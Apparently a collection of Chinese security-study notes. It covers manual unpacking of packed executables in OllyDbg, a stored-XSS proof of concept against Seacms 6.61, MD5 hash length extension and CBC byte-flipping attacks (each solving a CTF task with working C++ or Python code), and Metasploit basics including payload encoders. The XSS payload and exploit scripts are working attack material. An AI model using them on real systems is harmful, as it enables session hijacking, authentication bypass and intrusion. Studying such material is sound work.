脱壳总结

常见脱壳知识:
  • 1.PUSHAD (压栈) 代表程序的入口点
  • 2.POPAD (出栈) 代表程序的出口点,与PUSHAD相对应,一般找到这个,说明OEP可能就在附近
  • 3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP)
    只要我们找到程序真正的OEP,就可以立刻脱壳。
    脱壳的几种方法:
    方法一:单步跟踪
  1. 用OD载入,不分析代码!
  2. 单步向下跟踪F8,是向下跳的让它实现
  3. 遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选)
  4. 绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现!
  5. 如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP
  6. 在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入
  7. 一般有很大的跳转,比如 jmp XXXXXX 或者 je XXXXXX 或者有RETE的一般很快就会到程序的OEP。
方法二:ESP定律脱壳(最常用)
  1. 用Od载入后就按F8,注意观察OD右上角的寄存器中ESP有没出现
  2. 在命令行下:dd 0012FFA4(0012FFA4指在当前代码中的ESP地址),按回车!
  3. 选种下断的地址,下硬件访问WORD断点。
  4. 按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳
方法三:内存跟踪
  1. 用OD打开软件!
  2. 点击选项——调试选项——异常,把里面的忽略全部勾上,CTRL+F2重新加载程序
  3. 按ALT+M,打开内存镜象,找到第一个.rsrc.按F2下断点,然后按SHIFT+F9运行到断点,接着再按ALT+M, 打开内存镜象,找到.RSRC上面的CODE,按F2下断点,然后按SHIFT+F9,直接到达程序OEP,脱壳
方法四:跟踪出口法
  1. 开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处
  2. 来到大跳转处,点下F8,脱壳
方法五:最后一次异常法
  1. 用OD打开软件
  2. 点击选项——调试选项——异常,把里面的勾全部去掉,CTRL+F2重新加载程序
  3. 在这里我们按SHIFT+F9,直到程序运行,记下从开始按SHIFT+F9到程序运行的次数
  4. CTRL+F2重新加载程序,按SHIFT+F9(次数为程序运行的次数-1次)
  5. 在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址!
  6. 按F2下断点,然后按SHIFT+F9来到断点处!
  7. 去掉断点,按F8慢慢向下走
  8. 到达程序的OEP,脱壳
一些小技巧
手脱 UPX 壳的捷径

OD载入程序后,直接Ctrl+F,输入 POPAD ;点确定后 来到这个命令所在的位置。按F2,在这个地方下断;再按F9(运行);停止后,按F2取消刚才下的断点。再F8单步!

手脱 ASPCK 的壳

脱这个壳用ESP定律,还是相对快捷的。可以用载入程序后,第二行(是一个CALL)那里面的ESP。(多数程序这个壳的第二行都是一个CALL),
在左OD左下角的命令行中,输入命令:hr ESP地址(如 hr 0012FFA4);F9 运行。然后从OD”调试菜单“中的”硬件断点“这一项将刚才下的断点删除,这点很重要!最后F8单步!

手脱FSG 1.33 和 PCshrink 的壳

1、忽略所有异常
2、Alt+M 打开内存镜像,找到第一个 ”.rsrc“
3、F2(下断),F9(运行)
4、Alt+M 打开内存镜像,找到”Code“段;
5、F2(下断),Shift+F9【这点一定要记住,切记是 Shift+F9】运行;
6、先按F8,再按下F4,直接到达OEP

手脱 JDpack 壳 和 PEpack 1.0 的壳 最简单的方法

内存镜像法

手脱nspack(北斗)1.3 的壳

1、ESP定律,命令:hr ESP地址 【脱壳后程序不能正常运行】
2、用 ImportREC 这个工具进行修复,修复后程序正常运行。

Seacms6.61xss漏洞

Seacms V6.61 has XSS vulnerability in site name parameter of admin_video.php

Affected Version

Seacms 6.61

POC

1
2
<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(99)+String.fromCharCode(117)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(111)+String.fromCharCode(107)+String.fromCharCode(105)+String.fromCharCode(101)+String.fromCharCode(41))>
```

POST /ADMIN/admin_video.php?action=save&acttype=add HTTP/1.1
Host: cms.jas0nwhy.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://cms.jas0nwhy.top/ADMIN/admin_video.php?action=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 1354
Cookie: PHPSESSID=8k4mkaq9l3ps7dcrcvafetelt6; HISTORY={video:[{“name”:”123”,”link”:”http://cms.jas0nwhy.top/detail/?8.html","pic":"/pic/nopic.gif"},{"name":"&lt\u003bscript&gt\u003balert(xss)&lt\u003b/script&gt\u003b","link":"http://cms.jas0nwhy.top/detail/?1.html","pic":"/pic/nopic.gif"},{"name":"&lt\u003bscript&gt\u003balert(document.cookie)&lt\u003b/script&gt\u003b","link":"http://cms.jas0nwhy.top/detail/?5.html","pic":"/pic/nopic.gif"}]}
Connection: keep-alive
Upgrade-Insecure-Requests: 1

v_commend=0&v_name=test&v_enname=test&v_color=&v_type=5&v_state=&v_pic=&v_spic=&v_gpic=&v_actor=&v_director=&v_commend=0&v_note=&v_tags=&select3=&v_publishyear=&select2=&v_lang=&select1=&v_publisharea=&select4=&v_ver=&v_hit=0&v_monthhit=0&v_weekhit=0&v_dayhit=0&v_len=&v_total=&v_nickname=&v_company=&v_tvs=&v_douban=&v_mtime=&v_imdb=&v_score=&v_scorenum=&v_longtxt=&v_money=0&v_psd=123&v_playfrom%5B1%5D=%E7%BD%91%E7%9B%98%E4%B8%8B%E8%BD%BD&v_playurl%5B1%5D=test&m_downfrom%5B1%5D=%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80%E4%B8%80&m_downurl%5B1%5D=test&v_content=%3Ccode%3E%26lt%3Bdetails%2Fopen%2Fontoggle%3Deval%28String.fromCharCode%2897%29%2BString.fromCharCode%28108%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28114%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2840%29%2BString.fromCharCode%28100%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28117%29%2BString.fromCharCode%28109%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28110%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2846%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28107%29%2BString.fromCharCode%28105%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%2841%29%29%26gt%3B%3C%2Fcode%3E&Submit=%E7%A1%AE%E5%AE%9A%E6%8F%90%E4%BA%A4
```

vulnerability trigger point

image

image

image

image

image

hash长度扩展攻击

hash长度扩展攻击

MD5加密算法

image

分组

首先要知道md5的运算都是将明文分割为以512bit(64字节)一组进行运算的,而最后一组不够512bit另做处理

补位

最后一组将含有两部分有效信息,一是明文%512bit的数据,二是记录的原消息总长(固定占有64位,也就是8个字节),那么其中剩下的位置=512-64-明文%512bit的部分由100000…(在16进制中为800000…)补满
例:image
前面的616263是明文的尾部,800000…是补位的,1800…是明文长度

链接变量

链接变量最开始是ABCD四个初始序列,共128位

A=0x67452301

B=0xefcdab89

C=0x98badcfe

D=0x10325476   

将第一组链接变量与第一组明文进行复杂运算,算出一组新的A,B,C,D的值,如果消息小于512,也就是只需要计算一次,这时候将新的ABCD的值按ABCD的顺序级联,然后输出,就是MD5的值,如果消息大于512的话,就用第一次算的MD5的值进行后面部分的运算算出新的MD5值,以此类推。

长度扩展攻击原理

加入有这么一个情况,有一个需要MD5加密的字符串C由A和B两部分组成,A是未知的(也可以理解为salt)但是我们知道它的长度和MD5值,B是已知的且可控的,那么
我们将B的值构造一下,就可以得到字符串C的值。

引子:

假如A为test(十六进制为0x74657374)
那么我们构造B,使A+B等于512位,且形式与需要补位的最后一组一样

B=800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000   

接着在后面添加上B=0x746573748,此时str将大于512位,md5加密时系统会自动补位为1024位,并分为两组

第一组=74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000

第二组=74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000   

这样程序先计算第一部分,得到ABCD链接变量

A=0xcd6b8f09

B=0x73d32146

C=0x834edeca

D=0xf6b42726

第二部分就用第一部分的ABCD链接变量去运算得到新的ABCD链接变量

A=0x226359e5

b=0x99df12eb

C=0x6853f59e

D=0xf5406385  

最后高低位逆序得到MD5值e5596322eb12df999ef55368856340f5

攻击:

现在我们知道A长度是4,MD5值高低位逆序得到的ABCD链接变量是

A=0xcd6b8f09

B=0x73d32146

C=0x834edeca

D=0xf6b42726   

这时我们构造

B=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00test  

这时C大于512位,补位为1024位,其实前512位得到的ABCD我们已经知道,那么如果我们把初始链接变量改为前512位得到的ABCD计算一下0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000
的MD5,发现是e5596322eb12df999ef55368856340f5,这样两个不同的b值得到了一样的MD5值

实例

通过实例更好理解,这是实验吧的让我进去
image
随便输入username和admin抓包
image
将source值改为1发包得到关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
//要求username要等于admin,但是password要不等于admin
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
//要求传入的getmein值要等于MD5加密后的salt+username+password
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
//这里规定sample-hash值为MD5加密后的salt+adminadmin
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
?>

这道题要求我们post传入的username=admin,password!=admin,又要$COOKIE[“getmein”] === md5($secret . urldecode($username . $password)),这里就要用到hash长度扩展攻击
现在我们知道了:
salt的长度是15
salt+adminadmin的MD5值是571580b26c65f306376d4f64e53cb5c7
那么,我们现在就要开始构造password=

admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin

使得拼接后的字符串为

012345678901234adminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin  

这里利用password将拼接字符串大于512位,系统将自动补位为1024位,前512位的MD5值就是MD5(salt+admin+admin)(这个我们是已知的,就是sample-hash),那么我们将sample—hash的值高低位逆序得到的ABCD链接向量换掉初始ABCD链接向量进行MD5运算(也就是直接运算第二组),最终得到的值就是md5($secret . urldecode($username . $password))
更换初始链接变量进行MD5运算代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#include <cmath>
#include <cstdio>
#include <vector>
#include <string>
#include <cstring>
#include <iostream>


using namespace std;
typedef unsigned int uint;
typedef long long LL;
const int MAXN = 1e6 + 5;
const int mod = 1e9 + 7;

struct MD5 {

typedef void (MD5::*deal_fun)(uint&, uint, uint, uint, uint, uint, uint);//用于定义函数指针数组
string init_str;//数据字符串
uint init_arr[1000];//最终的数据数组{进行扩充处理后的数据}


const static int MAXN = 1e2;

static uint s_state[4];//最开始的默认静态渐变变量

uint state[4];//这个也是默认渐变变量,但是会改变

static uint rolarray[4][4];//位移数组
static uint mN[4][16];//对M数组的处理

uint curM;//当前处理的直接在整个数据中的位置
uint lenZ;//数据的总长{进行扩充处理后的数据总长,这个数是64的倍数}
uint offset;//需要从第几组开始处理
uint Tarr[64];//当前保存的T数组数据
uint Memory[64 + 5];//当前要处理的64个字节数据
uint M[16];//将64个字节数据分为16个数

MD5();
MD5(string str, int noffset);

//数据处理函数
inline uint F(uint X, uint Y, uint Z);
inline uint G(uint X, uint Y, uint Z);
inline uint H(uint X, uint Y, uint Z);
inline uint I(uint X, uint Y, uint Z);

//循环左移函数
uint ROL(uint s, uint ws);

//过程处理函数
inline void FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);

//生成T数组单个数据的函数
inline uint T(uint i);

//将总数据中的64个字节移到Memory数组中
void data_Init();

//建立M数组
void create_M_arr();

//移动a,b,c,d,规则在前面介绍了
void l_data_change(uint *buf);

//产生T数组
void create_T_arr();

//得到最终MD5值
string get_MD5();

//过程处理
void processing();

};

uint MD5::rolarray[4][4] = {
{ 7, 12, 17, 22 },
{ 5, 9, 14, 20 },
{ 4, 11, 16, 23 },
{ 6, 10, 15, 21 }
};

uint MD5::mN[4][16] = {
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },
{ 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12 },
{ 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2 },
{ 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 }
};

/*
传统渐变变量
0x67452301,
0xefcdab89,
0x98badcfe,
0x10325476
这四个东西是可以根据要求更改的,如果取上述几个数则和经常用的MD5算出的结果是一样的
对了,由于有些数据是静态的,改变之后不会进行需要重新进行复制
*/

uint MD5::s_state[4] = {
0xb2801557,
0x06f3656c,
0x644f6d37,
0xc7b53ce5
};//已经按小端规则反处理哈希值了


MD5::MD5() {}

MD5::MD5(string str, int noffset = 1) {
offset = noffset;
curM = (noffset - 1) * 64;//从0位置处开始处理
init_str = str;//对数据字符串进行处理
lenZ = init_str.length();
memset(init_arr, 0, sizeof(init_arr));

for(int i = 0; i < lenZ; i ++) {
init_arr[i] = str[i];//最终的数据数组进行赋值
}
/*
将数据扩充到取模64个字节等于56个字节
第一个填充0x80,然后就是0x00了
*/
if(lenZ % 64 != 56) init_arr[lenZ ++] = 0x80;
while(lenZ % 64 != 56) {
init_arr[lenZ ++] = 0x00;
}

/*
最后8个字节保存了没扩充钱位数的多少,记住是位数的个数不是字节的个数,同时是按照小端规则
*/
uint lengthbits = init_str.length() * 8;
init_arr[lenZ ++] = lengthbits & 0xff;
init_arr[lenZ ++] = lengthbits >> 8 & 0xff;
init_arr[lenZ ++] = lengthbits >> 16 & 0xff;
init_arr[lenZ ++] = lengthbits >> 24 & 0xff;

//因为uint最多32位所以我们只要考虑四个字节就可以了,虽然实际上要考虑64位,嘿
lenZ += 4;//这步我没读懂!!!


for(int i = 0;i < 4;i ++){
state[i] = s_state[i];//将最开始的默认静态渐变变量赋值给静态渐变变量
}

}

inline uint MD5::F(uint X, uint Y, uint Z) {
return (X & Y) | ((~X) & Z);
}
inline uint MD5::G(uint X, uint Y, uint Z) {
return (X & Z) | (Y & (~Z));
}
inline uint MD5::H(uint X, uint Y, uint Z) {
return X ^ Y ^ Z;
}
inline uint MD5::I(uint X, uint Y, uint Z) {
return Y ^ (X | (~Z));
}
uint MD5::ROL(uint s, uint ws) {
return (s << ws) | (s >> (32 - ws));
}


inline void MD5::FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + F(b, c, d) + x + ac, s) + b;
//printf("ff\n");
}

inline void MD5::GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + G(b, c, d) + x + ac, s) + b;
//printf("gg\n");
}

inline void MD5::HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + H(b, c, d) + x + ac, s) + b;
//printf("hh\n");
}

inline void MD5::II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + I(b, c, d) + x + ac, s) + b;
//printf("ii\n");
}

//这里前面讲了
inline uint MD5::T(uint i) {
return (uint)((0xffffffff + 1LL) * abs(sin(i)));
}

//取64个字节放在Memory数组中
void MD5::data_Init() {
uint tmp = 0;
for(int i = 0; i < 64; i ++) {
Memory[i] = init_arr[curM + i];
}
curM += 64;//变化位置
}


void MD5::create_T_arr() {
for(int i = 1; i <= 64; i ++) {
Tarr[i - 1] = T(i);
}
}

/*
这里使用了小端将数据存在M数组中,可以稍微思考一下
*/
void MD5::create_M_arr() {
uint tmp = 0;
int cnt = 0;
for(int i = 0; i < 64; i += 4) {
tmp = 0;
for(int j = 3; j >= 0; j --) {
tmp |= Memory[i + j];
if(j == 0) break;
tmp <<= 8;
}
M[cnt ++] = tmp;
}
}

//移动a,b,c,d,最后一个移到第一个
void MD5::l_data_change(uint *buf) {
uint buftmp[4] = {buf[3], buf[0], buf[1], buf[2]};
for(int i = 0; i < 4; i ++) {
buf[i] = buftmp[i];
}
}

void MD5::processing() {
uint statetmp[4];
for(int i = 0; i < 4; i ++) {
statetmp[i] = state[i];
}
/*
这里的处理只是为了更方便的循环
*/
uint * a = &statetmp[0];
uint * b = &statetmp[1];
uint * c = &statetmp[2];
uint * d = &statetmp[3];

/*
产生M数组和T数组
*/
create_M_arr();
create_T_arr();

/*
建立函数指针数组
循环处理
*/

deal_fun d_fun[4] = {
&MD5::FF, &MD5::GG, &MD5::HH, &MD5::II
};

for(int i = 0; i < 4; i ++) {
for(int j = 0; j < 16; j ++) {
(this ->* d_fun[i])(*a, *b, *c, *d, M[mN[i][j]], rolarray[i][j % 4], Tarr[i * 16 + j]);
l_data_change(statetmp);//交换a,b,c,d
}
}


for(int i = 0; i < 4; i ++) {
state[i] += statetmp[i];
}
}

string MD5::get_MD5() {
string result;
char tmp[15];
for(int i = 0;i < (lenZ - (offset - 1) * 64) / 64;i ++){
data_Init();
processing();
}

/*
最终显示也是用小端
*/

for(int i = 0; i < 4; i ++) {
sprintf(tmp, "%02x", state[i] & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 8 & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 16 & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 24 & 0xff);
result += tmp;
}
return result;
}

int main() {
MD5 md1("123456789123456adminadmin123456789123456789123456789123456789123admin",2);
cout << md1.get_MD5() << endl;
return 0;
}

将运行代码得到的hash值利用getmein写入cookie,将username=admin,passsword=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00admin
image
flag:CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

参考文章:
MD5的Hash长度扩展攻击
科普哈希长度扩展攻击

CBC字节翻转攻击

CBC字节翻转攻击

简介

CBC加密是AES加密的一种模式,中文名叫密码分组链接模式(Cipher Block Chaining (CBC)),这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。
看下图:
IV:随机生成的初始向量
Plaintxt:明文数据
Ciphertext:密文数据
Key:分组加密使用的密钥

加密过程

image

首先将我们需要将需要加密的明文按照十六个字节为一组分组,最后一组不满十六字节用特殊字符填补
接着系统产生一个十六字节的随机字符串作为初始向量,该向量与第一组明文进行异或操作,再与key进行CBC加密得到第一组密文
第一组密文再与下一组明文进行异或操作CBC加密得到第二组密文
以此类推……
将得到的密文组按顺序拼接到一起就是所得到的密文

解密过程

image
首先将密文按十六进制分组
第一组密文与key进行CBC解密,再将解密的数据与初始向量异或得到第一组明文
接着第一组密文再与下一组CBC解密得到的数据进行异或操作得到第二组明文
以此类推……
最后拼接得到明文

异或操作

CBC字节翻转的关键点就在异或上,所以首先我们要明白异或是什么。
image
当我们的一个值C是由A和B异或得到
C = A XOR B
那么
A XOR B XOR C很明显是=0的
当我们知道B和C之后,想要得到A的值也很容易
A = B XOR C
因此,A XOR B XOR C等于0。有了这个公式,我们可以在XOR运算的末尾处设置我们自己的值,即可改变。

攻击过程

image
攻击针对的是解密过程
第一步:修改

由图可知,你在密文中改变的字节,只会影响到在下一明文当中,具有相同偏移量的字节。

所以我们要找到要修改的明文中的那一个字节C,我,上一组密文对应字节为A,本组密文对应字节为B,我们知道了A xor B = C,我们现在现在要将C改变为c,那么知道A XOR B XOR C = 0,则A XOR B XOR C xor c= c。

这里我们知道B是解密后的数据未知我们不好修改,所以我们可以将A修改a=A xor C xor c ,这样我们就将C替换成了c。

第二步:修复

上一步我们将第二组明文修改为了我们想要得到的数据,但是,与此同时,我们也将第一组密文给修改了,这就会导致第一组明文数据被修改,那么我们不能去修改第一组密文,又要使第一组明文数据正确,我们只有利用异或对初始向量下手。

若原iv为O,新iv为N,错误的第一组明文M = O xor 第一组密文,我们要想得到正确的第一组明文m,那么就去改变N = O xor M xor m,这样就利用异或得到了正确的明文。

看个例子

这是iscc的一道题Only admin can see flag
image
查看源码发现一个TXT文件,打开得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
//设置随机初始向量
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

//设置cookie的流程调用的函数,返回一个随机的iv和使用该iv加密的post提交的username和password的结果——cipher
function login($info){
$iv = get_random_iv();
//序列化传入数组
#a:2:{s:8:"username";s:5:"Admin";s:8:"password";s:4:"test";}
#第一组明文:a:2:{s:8:"userna
#第二组明文:me";s:5:"Admin";
#第三组明文:s:8:"password";s
#第四组明文::4:"test";}
$plain = serialize($info);
//cbc加密
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

//检查函数,这里是对cookie中cipher和iv进行CBC翻转的利用点
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
//进行CBC模式的AES解密
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
//对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

//根据session中username参数,控制显示结果
//如果没有设置参数,进入判断cookie路径
function show_homepage(){
//session要为admin
if ($_SESSION["username"]==='admin'){
echo $flag;
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
//入口
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
//post传参不能为admin
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

我已经在其中做出详细的注释
首先从入口开始验证post是否传参username和password,这里要求传入的用户名不能为admin。

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
//post传参不能为admin
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}

接着对传入参数序列化,接着对起进行一次CBC加密,得到了COOKIE值iv和cipher,以及session值username,对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值,但是这里又要传入的username参数为admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
//进行CBC模式的AES解密
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
//对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

所以我们利用CBC翻转字节,传入Admin绕过过滤,再在加密过程中将A翻转为a,通过验证。
修改代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib,base64,requests,re

url = "http://*.*.*.*/index.php"
datas = {
"username" : "Admin",
"password" : "test"
}
#第一组明文:a:2:{s:8:"userna
#第二组明文:me";s:5:"admin";
#第三组明文:s:8:"password";s
#第四组明文::4:"test";}
#修改过程
r = requests.post(url,data=datas)
cipher = r.cookies.get("cipher")#获取初始密文
cipher = base64.b64decode(urllib.unquote(cipher))
offset = 9
new_cipher = cipher[:offset] + chr(ord(cipher[offset])^ord("A")^ord("a")) + cipher[offset+1:]#字节翻转
new_cookies = requests.utils.dict_from_cookiejar(r.cookies)
new_cookies["cipher"] = urllib.quote_plus(base64.b64encode(new_cipher))
#修复过程
r2 = requests.get(url,cookies=new_cookies)
#获得损坏的第一段明文
plain = base64.b64decode(re.findall("decode('(.*)')",r2.text)[0])
iv = base64.b64decode(urllib.unquote(new_cookies["iv"]))
old = plain[:len(iv)]
new = 'a:2:{s:8:"userna'
new_iv = "".join([chr(ord(iv[i])^ord(old[i])^ord(new[i])) for i in xrange(16)])
new_cookies["iv"] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=new_cookies)
print(r3.text)

最后将修改的iv和cipher设为cookies得到flag

CBC翻转字节攻击属于密码学的题目,关键是理解加密解密过程和异或操作,后面还遇到了翻转攻击与SQL注入的结合题型,值得继续了解。。。

Metasploit 整理笔记

一.名词解释

exploit

测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的有内存溢出,网站程序漏洞利用,配置错误exploit。

payload

我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只能在目标机器上执行有限命令的程序 。

shellcode

是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可执行命令的shell。

module

MSF 的模块,由一系列代码组成。

listener

等待来自被攻击机器的incoming连接的监听在测试者机器上的程序

二. 编码器

msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集

1、攻击第一步:基础信息收集

